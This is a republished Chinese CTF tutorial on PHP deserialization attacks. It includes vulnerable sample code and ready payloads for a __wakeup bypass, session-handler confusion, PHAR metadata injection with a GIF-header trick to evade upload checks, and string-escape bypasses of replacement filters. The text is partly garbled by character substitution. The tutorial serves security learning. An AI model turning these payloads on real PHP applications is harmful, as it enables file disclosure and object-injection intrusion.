IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 渗透测试-PHP反序列化及绕过 -> 正文阅读

[PHP知识库]渗透测试-PHP反序列化及绕过

最简单的反序列化


????????????require_once('flag.php');
????????????highlight_file(__FILE__);
????????????class?A{
????????????????????????private?$user?=?'test';
???????????????????????
????????????????????????function?__destruct(){
????????????????????????????????????if?($this->user?==?'admin') {
????????????????????????????????????????????????var_dump($GLOBALS);
????????????????????????????????????}
????????????????????????}
????????????}

????????????$data?=?$_GET['data'];
????????????unserialize($data);

当我们反序列化后user为admin时输出$GLOBALS,输出当前php页面全局变量

我们构造payload如下


????class?A{
????????private?$user?=?'admin';
????}

????echo?urlencode(serialize(new?A()));

运行获得url编码序列化后的值为O%3A1%3A%22A%22%3A1%3A%7Bs%3A7%3A%22%00A%00user%22%3Bs%3A5%3A%22admin%22%3B%7D

将其赋值给data后即可输出全局变量

__wakeup绕过

在反反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。

影响版本

php5.0.0 ~ php5.6.25

php7.0.0 ~ php7.0.10

php源码


????????????highlight_file(__FILE__);
????????????class?A{
????????????????????????private?$filename?=?'test.txt';

????????????????????????public?function?__wakeup() {
????????????????????????????????????$this->filename?=?'test.txt';
????????????????????????}
???????????????????????
????????????????????????public?function?__destruct() {
????????????????????????????????????echo?file_get_contents($this->filename);
????????????????????????}
???????????????????????
????????????}

????????????$data?=?$_GET['data'];
????????????unserialize($data);

php语言的特性为在反序列化时,先执行__wakeup()魔术方法,才会执行__destruct()魔术方法

也就是说当我们使用payload


????class?A{
????????private?$filename?=?'flag.php';
????}

????echo?urlencode(serialize(new?A()));

O%3A1%3A%22A%22%3A1%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

去反序列化时

结果为

可以发现我们在反序列化时修改的$filename的值在__wakeup()函数时由flag.php修改为了test.txt

绕过__wakeup()函数时将对象属性个数的值大于真实的属性个数时即可绕过

即O%3A1%3A%22A%22%3A1%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

改为,只需要将对象个数大于1即可,2,3,4等等都行,这里我使用2

O%3A1%3A%22A%22%3A2%3A%7Bs%3A11%3A%22%00A%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D

即可获取想要的文件的内容

private protect变量构造

如最开始

在构造payload时

将所得的payload进行url编码即可

Session反序列化漏洞

PHP中的Session经序列化后存储,读取时再进行反序列化。

相关配置:

session.save_path=""?//设置session的存储路径

session.save_handler=""?//设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)

session.auto_start boolen?//指定会话模块是否在请求开始时启动一个会话默认为0不启动

session.serialize_handler string?//定义用来序列化/反序列化的处理器名字。默认使用php

PHP有3种序列化处理器

处理器

对应的存储格式

php

键名+竖线(|)+经过serialize()函数处理过的值

php_binary

键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值

php_serialize

经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

代码



????????????session_start();

????????????$_SESSION['test']?=?$_REQUEST['test'];
????????????echo?session_id();

执行后可以看到

命名方式为sess_session_id()

存储内容为序列化后的session:test|s:4:"test";

不同处理器的格式不同,当不同页面使用了不同的处理器时,由于处理的session序列化格式不同,就可能产生反序列化漏洞

因为index.php与session.php采用的序列化处理器不同,我们可以构造“误导”处理器,达到漏洞利用的目的

也就是说将数据通过session.php序列化后将数据存入的文件与index.php反序列化获取反序列化值的文件相同

从而达到反序列化攻击的目的

index.php


????????????ini_set('session.serialize_handler',?'php');

????????????session_start();

????????????class?A?{
????????????????????????public?$user?=?'test.txt';

????????????????????????function?__wakeup() {
????????????????????????????????????echo?"__wakeup
";
????????????????????????}

????????????????????????function?__destruct() {
????????????????????????????????????echo?$this->filename;
????????????????????????}
????????????}

generate.php


????class?A{
????????public?$filename?=?'flag.php';
????}

????echo?serialize(new?A);

session.php


????????????ini_set('session.serialize_handler',?'php_serialize');

????????????session_start();

????????????$_SESSION['test']?=?$_REQUEST['test'];
????????????echo?session_id();

首先通过generate.php构造payload

O:1:"A":1:{s:8:"filename";s:8:"flag.php";}

将O:1:"A":1:{s:8:"filename";s:8:"flag.php";}前面加一个|

即可将反序列化的值存入到session中使index.php反序列化

即可完成session反序列化攻击

PHAR利用

1、PHAR简介

PHAR ("PHp ARchive")是PHP里类似于JAR的一种打包文件,在PHP5.3或更高版本默认开启,这个特性使得PHP也可以像Java一样方便地实现应用程序打包和组件化,一个应用程序可以打成一个PHAR包,直接方法PHP-FPM中运行

2、PHAR文件结构

PHAR文件由3或4个部分组成

(1)?stub?//phar文件头

stub就是一个简单的php文件,最简文件头为:

__HALF_COMPILER();??>

文件头中必须包含__HALF_COMPILER()除此之外没有限制。(PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测)

(2)manifest describing the contents?//PHAR文件描述该部分存储文件名、文件大小等信息,如下图所示

图中标出的地方,存储了经serialize()的Meta-data,有序列化过程必有反序列化过程,这就是我们的注入点

(3)?the file contents

PHAR文件内容

(4) [optional]?a signature for verifying Phar integrity (phar file format only)?// 可选的签名部分, 支持MD5和SHA1

攻击方法

2018年Black Hat研究院Sam Thomas的议题:

It’s a PHP unserialization vulnerability Jim, but not as we know it提供了一种新的php反序列化攻击姿势。PHAR文件的Meta-data可以是任何能够序列化的PHP对象,当PHAR文件被任何文件系统函数首次通过phar://协议解析时Meta-data部分会被反序列化,这个反序列化过程就是我们的攻击点,Meta-data部分填充payload。

漏洞利用条件:

在目标系统上投放一个装在payload的可访问的PHAR文件,通过文件系统函数利用phar://伪协议解析目标PHAR文件。

注意:要将php.ini中的phar.readonly选项设置为off,否则无法生成phar文件

testPhar.php



????????????class?A?{
????????????}
????????????$phar?=?new?Phar('phar.phar');????????????//后缀名必须为phar
????????????$phar->startBuffering();
????????????$phar->setStub("");????????????//设置stub
????????????$o?=?new?A();
????????????$o->data?=?'cmacckk';
????????????$phar->setMetadata($o);????????????????????????// 将自定义的meta-data存入manifest
????????????$phar->addFromString('test.txt',?'test');????????????// 添加要压缩的文件
????????????// 签名自动计算
????????????$phar->stopBuffering();

?>

可以从箭头中看到序列化后结果

箭头标出Meta-data部分,可以看到为序列化后结果

index.php
???
????class?A?{
????????????function?__destruct() {
????????????????????????echo?"
destruct called";
????????????}
}

$filename?=?"phar://phar.phar/test.txt";
echo?file_get_contents($filename);

可以看到输出了之前打包的phar文件中,test.txt文件的内容test,并成功实例化A对象,调用了析构函数(__destruct)

由于PHP仅通过stub部分判断文件是否为PHAR文件,我们可以通过添加文件头、修改后缀的方式绕过上传检测



????????????class?A?{
????????????}
????????????$phar?=?new?Phar('phar.phar');????????????//后缀名必须为phar
????????????$phar->startBuffering();
????????????$phar->setStub("GIF89a"?.?"");????????????//设置stub,增加gif文件头绕过
????????????$o?=?new?A();
????????????$phar->setMetadata($o);????????????????????????// 将自定义的meta-data存入manifest
????????????$phar->addFromString('test.txt',?'test');????????????// 添加要压缩的文件
????????????// 签名自动计算
????????????$phar->stopBuffering();

?>

PHP反序列化字符串逃逸(变长)

示例代码



????????????highlight_file(__FILE__);
????????????require_once('flag.php');
????????????function?waf($str) {
????????????????????????return?str_replace('bb',?'ccc',?$str);
????????????}

????????????class?A?{
????????????????????????public?$name?=?'admin';
????????????????????????public?$pass?=?'123456';
????????????}

????????????$c?=?unserialize(waf(serialize(new?A())));
????????????if?($c->pass?===?'admin') {
????????????????????????echo?$flag;
????????????}?else?{
????????????????????????echo?"no no no";
????????????}

在代码中,当$pass为admin时,才会输出flag

在这里有一个函数waf

waf函数会将bb变为ccc

即bb会变为ccc,在这个过程中反序列化时便会少读取一个字符

使用test.php查看当前序列化结果


????????????function?waf($str) {
????????????????????????return?str_replace('bb',?'ccc',?$str);
????????????}
???????????
????????????class?A?{
????????????????????????public?$name?=?'admin';
????????????????????????public?$pass?=?'123456';
????????????}

????????????$c?=?(serialize(new?A()));
????????????echo?$c;

我们要让红线部分的数据修改为admin,在代码里修改


????????????function?waf($str) {
????????????????????????return?str_replace('bb',?'ccc',?$str);
????????????}
???????????
????????????class?A?{
????????????????????????public?$name?=?'admin';
????????????????????????public?$pass?=?'admin';
????????????}

????????????$c?=?(serialize(new?A()));
????????????echo?$c;

所以我们要逃逸的字符串为";s:4:"pass";s:5:"admin";}

按照一个bb转变为ccc会逃逸1个字符,如果我们要逃逸26个字符,那么我们需要26个bb

所以生成的name值为bbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:5:"admin";}

生成payload



????????????highlight_file(__FILE__);
????????????require_once('flag.php');
????????????function?waf($str) {
????????????????????????return?str_replace('bb',?'ccc',?$str);
????????????}

????????????class?A?{
????????????????????????public?$name?=?'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:5:"admin";}';
????????????????????????public?$pass?=?'123456';
????????????}

????????????echo?"
serialize a:
"?.?serialize(new?A())?.?"
";
????????????echo?"waf serialize a:
"?.?waf(serialize(new?A()))?.?"
";
????????????$c?=?unserialize(waf(serialize(new?A())));
????????????if?($c->pass?===?'admin') {
????????????????????????echo?$flag;
????????????}?else?{
????????????????????????echo?"no no no";
????????????}

可以看到在经过waf函数后,逃逸后的反序列化长度符合,可以正常反序列化,反序列化}前的值

最终改变了$pass的值获取flag

PHP反序列化字符串逃逸(变短)


????????????require_once('flag.php');
????????????highlight_file(__FILE__);
????????????function?waf($str) {
????????????????????????return?preg_replace("/ctf|flag/i",?"",?$str);
????????????}

????????????$test['name']?=?$_GET['name'];
????????????$test['sign']?=?$_GET['sign'];
????????????$test['year']?=?'2021';
???????????

????????????$tmp?=?waf(serialize($test));
????????????echo?"
"?.?$tmp?.?"
";

????????????$result?=?unserialize($tmp);
????????????echo?$result['year'];
????????????if?($result['year']?===?'2100') {
????????????????????????echo?$flag;???????????
????????????}

第一步

首先我们要明确要逃逸的字符串

在这里要时year为2100,所以我们构造payload



????????????function?waf($str) {
????????????????????????return?preg_replace("/ctf|flag/i",?"",?$str);
????????????}

????????????$test['name']?=?'cmacckk';
????????????$test['sign']?=?'test';
????????????$test['year']?=?'2100';
???????????
????????????echo?serialize($test)?.?"?????";
????????????$tmp?=?waf(serialize($test));
????????????echo?$tmp;

我们需要逃逸这个部分

第二步

我们需要在这个字符串之前添加一个字符或字符串

这里我添加一个C

将sign的值改为"C;s:4:"sign";s:4:"test";s:4:"year";s:4:"2100";}



????????????function?waf($str) {
????????????????????????return?preg_replace("/ctf|flag/i",?"",?$str);
????????????}

????????????$test['name']?=?'cmacckk';
????????????$test['sign']?=?'C";s:4:"sign";s:4:"test";s:4:"year";s:4:"2100";}';
????????????$test['year']?=?'2100';
???????????
????????????echo?serialize($test);

运行

第三步

查看";s:4:"sign";s:48:"C的长度

发现长度为20

在这里的waf函数中,将ctf或flag替换为'',所以一个ctf能逃逸3个字符,一个flag能逃逸4个字符

我们需要逃逸20个字符

则仅需要5个flag即可

最终传值结果为

参考https://www.cnblogs.com/ichunqiu/p/10484832.html

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-05-01 15:30:26  更:2022-05-01 15:30:47 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/18 16:42:37-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码